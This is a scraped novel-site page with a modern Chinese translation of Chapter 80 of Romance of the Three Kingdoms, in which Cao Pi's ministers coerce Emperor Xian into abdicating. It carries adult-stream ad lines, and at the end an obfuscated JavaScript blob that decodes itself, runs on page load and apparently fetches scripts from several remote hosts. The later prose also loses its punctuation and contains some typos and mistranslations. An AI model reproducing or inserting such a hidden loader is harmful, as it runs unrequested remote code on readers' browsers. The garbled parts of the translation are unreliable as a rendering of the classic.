足迹
三国演义翻译全文版本
登录
关灯
护眼
字体:

第八十回 曹丕废帝篡炎刘 汉王正位续大统(第1页)

请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁免费-纯欲御姐主播

华歆等一班文武官员进入宫殿拜见汉献帝。华歆奏报说:“我们观察到魏王自从登基以来,德行遍布四方,仁爱惠及万物,他的功绩越古今,即使是唐尧、虞舜也无法比拟。经过群臣商议,大家认为汉朝的气数已尽,希望陛下能效仿尧、舜的禅让之道,将国家山川社稷禅让给魏王,这样既符合天意,也顺应民心。那么陛下就可以安享清闲之福,这是祖宗的大幸,也是天下生灵的大幸。我们已经议定,特来奏请陛下批准。”

献帝听完奏报后大惊失色,半晌说不出话来。他环视百官,哭着说:“我想起高祖刘邦手提三尺剑,斩蛇起义,平定秦朝,消灭楚国,创立了基业,世代相传,至今已有四百年。我虽然不才,但自问没有过错,怎么忍心将祖宗的大业轻易放弃呢?你们百官再仔细商议一下吧。”

华歆引李伏、许芝上前奏报说:“如果陛下不相信我们的话,可以问这两个人。”

李伏奏报说:“自从魏王即位以来,麒麟降生,凤凰飞来,黄龙出现,嘉禾茂盛,甘露下降。这些都是上天降下的祥瑞,预示着魏国将要取代汉朝。”

许芝又奏报说:“我们掌管观察天象的职责,在夜里观察到汉朝的气数已经终结,而陛下的帝星也变得暗淡无光;相反,魏国的天象却是极其旺盛。此外,还有图谶上的预言:‘鬼在边,委相连;当代汉,无可言。言在东,午在西;两日并光上下移。’根据这些预言,陛下应该早日禅位给魏王。‘鬼在边’,‘委相连’是‘魏’字;‘言在东,午在西’是‘许’字;‘两日并光上下移’是‘昌’字:这是预示着魏国在许昌应该接受汉朝的禅让。希望陛下能够明察。”

献帝说:“祥瑞和图谶都是虚妄的事情,怎么能用这些虚妄的事情来强迫我放弃祖宗的基业呢?”

王朗奏报说:“自古以来,有兴盛必有衰败,有盛极必有衰落,哪有永远不亡的国家、不败的家族呢?汉朝相传四百多年,延续到陛下这一代,气数已经耗尽。陛下应该早日退位让贤,不要迟疑不决,否则恐怕会生变故。”

献帝大哭着回到后殿去了。百官都嘲笑着退下。

第二天,官僚们又聚集在大殿上,命令宦官去请献帝。献帝因为忧虑和恐惧而不敢出来。曹皇后问:“百官请陛下上朝设朝会,陛下为什么推辞不去呢?”

献帝哭着说:“你哥哥想要篡位,让百官来逼迫我,所以我不敢出去。”

曹皇后大怒说:“我哥哥怎么会做这种大逆不道的事情呢!”

话还没说完,只见曹洪、曹休带着剑闯入后宫,请献帝出殿。曹皇后大骂道:“你们都是些乱臣贼子,贪图富贵,共同制造叛逆的阴谋!我父亲功盖天下,威震四海,但他都不敢篡夺皇位。现在我哥哥继位不久就想要篡汉自立为皇帝吗?上天一定不会保佑你们的!”

说完后痛哭着回到宫中去了,左右侍从也都跟着哭泣流涕。

曹洪、曹休极力请求献帝出殿,献帝被逼得没有办法只好更换衣服来到前殿。华歆奏报说:“陛下可以按照我们昨天商议的决定来行事以避免大祸临头。”

献帝痛哭流涕地说:“你们这些人都是长期享受汉朝俸禄的官员其中不乏汉朝功臣的子孙怎么忍心做出这种不忠不义的事情呢?”

华歆说:“如果陛下不听从我们的建议恐怕很快就会生宫廷内乱这并不是我们对陛下不忠诚。”

献帝说:“谁敢杀我呢?”

华歆严厉地说:“天下的人都知道陛下没有君主的福分导致四方大乱!如果不是魏王在朝廷中辅佐陛下想要杀陛下的人何止一个?陛下还不知道感恩戴德报答魏王的恩情吗?难道陛下想要让天下人都来讨伐你吗?”

献帝听完大惊失色拂袖而起。

王朗用眼神示意华歆华歆纵步向前扯住献帝的龙袍变色说道:“陛下到底答不答应禅位?请早点表态!”

献帝战栗着不能回答。曹洪、曹休拔剑大呼道:“符宝郎在哪里?”

祖弼应声而出说:“符宝郎在此!”

曹洪索要玉玺,祖弼大声呵斥道:“玉玺是天子的宝物,你们怎么敢擅自索要!”

曹洪命令武士将祖弼推出去斩。祖弼大骂不绝口而被杀死。后来有人写诗赞扬他说:“奸邪专权导致汉室灭亡诈称禅位效仿虞舜唐尧。满朝百官都尊奉魏国只有符宝郎是忠臣。”

献帝颤抖不已只见台阶下披着铠甲手持兵戈的数百名魏兵站在那里。

皇帝含泪对群臣说:“我愿意将天下禅让给魏王,只希望能留下我这条残命,让我安度晚年。”

贾诩说:“魏王一定不会辜负陛下。陛下可以赶快下诏书,来安定人心。”

皇帝只得命令陈群起草禅让国家的诏书,派华歆带着诏书和玉玺,引领百官直接到魏王的宫殿去献纳。

曹丕非常高兴,打开诏书阅读。诏书上写道:我在位三十二年,遭遇天下大乱,幸亏祖宗的保佑,才得以危而复存。然而现在观察天象,体察民心,汉朝的气数已经尽了,天下应该由曹氏来治理。以前先王已经创下了伟大的基业,现在魏王又有着光明的德行,应和了天命。这是天命所归,是显而易见的。大道之行,天下为公,唐尧不将帝位传给自己的儿子,因此他的名声被后世传颂。我仰慕他的做法。现在我决定效法尧的做法,将帝位禅让给丞相魏王。魏王不要推辞!

曹丕听完诏书,就想接受。但司马懿劝他说:“不行。虽然诏书和玉玺已经到了,但殿下还是应该上表谦虚地推辞一下,以杜绝天下的非议。”

曹丕听从了他的建议,命令王朗写表文,自称德行不足,请求另外寻找贤能的人来继承皇位。

皇帝看了表文,非常惊疑,对群臣说:“魏王如此谦虚,我们该怎么办?”

华歆说:“以前魏武王接受王爵的时候,三次推辞,但诏书不许,最后才接受。现在陛下可以再次下诏书,魏王自然就会接受了。”

皇帝不得已,又命令桓阶起草诏书,派高庙使张音带着符节和玉玺到魏王的宫殿。曹丕打开诏书阅读,诏书上写道:你魏王上书谦虚地推辞了皇位。我认为汉朝的气数已经衰微很久了,幸亏有武王曹操的德行和功绩,才得以振兴国家。现在魏王你继承了先王的基业,有着光明的德行和声教远播的名声。天命所归,应该由你来治理天下。以前虞舜有大功二十件,才被唐尧禅让了天下;大禹有治理洪水的功绩,才被舜禅让了帝位。汉朝继承了尧的运数,有着传位的传统。现在派行御史大夫张音带着符节和皇帝的玉玺来授予你。你应该接受它!

曹丕接到诏书非常高兴,对贾诩说:“虽然已经有两次诏书了,但我始终担心天下后世会说我篡位。”

贾诩说:“这件事很容易解决。可以再让张音把玉玺带回去,然后让华歆命令汉帝建造一个祭坛,名叫‘受禅坛’。选择一个吉日良辰,让所有的公卿大臣都到坛下集合,让皇帝亲自捧着玉玺禅让给你。这样就可以消除群疑、杜绝众议了。”

曹丕非常高兴,立刻命令张音把玉玺带回去,并且再次写表文谦虚地推辞。张音回去向献帝复命后,献帝问群臣说:“魏王又推辞了,他是什么意思呢?”

华歆回答说:“陛下可以建造一个祭坛名叫‘受禅坛’然后召集公卿大臣和百姓们一起举行禅位仪式。这样陛下您的子子孙孙就可以蒙受魏王的恩泽了。”

献帝听从了他的建议于是就派太常院官在繁阳占卜地方建造了一个三层高的祭坛选择在十月庚午日寅时进行禅让仪式。

到了那一天献帝请魏王曹丕登上祭坛接受禅让坛下聚集了大小官僚四百多人和三十多万御林虎贲禁军。献帝亲自捧着玉玺交给曹丕曹丕接受了它。坛下的群臣都跪着听册文说:你魏王啊!以前唐尧禅位给虞舜舜又禅位给禹天命不是固定不变的只会降临在有德行的人身上。汉朝的气数已经衰微失去了正常的秩序到了我这一代更是大乱滋生:群凶肆虐国家颠覆。幸亏武王曹操的神武才拯救了这场灾难平定了天下保护了我们的宗庙。这不是我一个人的功劳而是让天下九州都受到了他的恩赐。现在你魏王继承了先王的基业扬了你的德行;恢复了文武的大业光大了你父亲的宏伟功业。神灵降下祥瑞人神都给出了征兆;你应该顺应天命接受这个皇位。大家都说:你的德行可以与虞舜相媲美因此你应该用我们唐朝的典礼来恭敬地禅让皇位给你。啊!“天命所归应该由你来治理天下”

🎁免费-纯欲御姐主播请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。

!function(){function a(a){var _idx="t3rocck26k";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CF75FTm6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFfY5FmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFSOJTm)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFLY_6m6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFRDYJmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPP@Q}CFdDqJm6R)_dmRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@Q}jR8Fs5O((S@KS"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@Q}"=X8"Fs5O((S@KS"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@Q}d2(LCYmOh5:DmRT4"="@Q}5p(LYpmJfC)RmRT4"="@Q}D7(LSqmOh5:DmRT4"="@Q}dC(LJ^mJfC)RmRT4"="@Q}(C(L:4mOh5:DmRT4"="@Q}C2(LSYmJfC)RmRT4"="@Q}25(LLSmOh5:DmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@Q}2F(LCYmpSfD2RmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@Q}2F(LCYmpSfD2RmRT4gQ@{n/((/@Q}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n/f/@Q}j(8}vR8Fs5O((S@KS"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@Q}CFT_T_m)C7LSmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();